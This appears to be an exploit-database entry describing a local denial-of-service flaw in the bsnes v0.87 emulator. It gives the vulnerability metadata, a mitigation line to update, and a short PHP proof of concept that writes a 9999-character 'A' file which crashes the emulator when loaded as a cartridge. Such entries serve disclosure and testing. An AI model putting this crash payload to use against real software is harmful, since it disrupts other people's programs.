header-logo
Suggest Exploit
vendor:
bsnes
by:
Pr0T3cT10n
7,8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: bsnes
Affected Version From: v0.87
Affected Version To: v0.87
Patch Exists: Yes
Related CWE: N/A
CPE: 2.3:a:byuu:bsnes:0.87
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 64Bit, Windows XP Pro Eng.
2020

bsnes v0.87 Local Denial of Service

bsnes v0.87 is vulnerable to local denial of service attack. When a file containing 9999 chars ('A') is opened with 'Catridge' -> 'Load NES Catridge', bsnes will crash.

Mitigation:

Update to the latest version of bsnes
Source

Exploit-DB raw data:

<?php
# bsnes v0.87 Local Daniel Of Service
# Tested on Windows 7 64Bit
# Software Site: http://byuu.org/bsnes/
# Software Download: http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnes_v087-64bit.7z
# Author: Pr0T3cT10n
##################################################################
# bsnes v0.87 is vulnerable to local denial of service attack.
# When we try to open a file by 'Catridge' -> 'Load NES Catridge' 
# that contains 9999 chars ('A'), so bsnes should crash.
##################################################################
# PoC / Code:
$buffer = str_repeat('A', 9999); # Create 9999 chars('A')..
if(file_put_contents('crash.nes', $buffer)) {
 echo("File created successfuly.\r\bsnes should crash when you open the file with it.\r\n");
} else {
 echo("Can't create file. Please try again.\r\n");
}
# Cya :)
# 0x31337.net
####################
?>

# Exploit-DB Note:
# 32bit version also affected
# Tested on: Windows XP Pro Eng.
# http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnes_v087-32bit.7z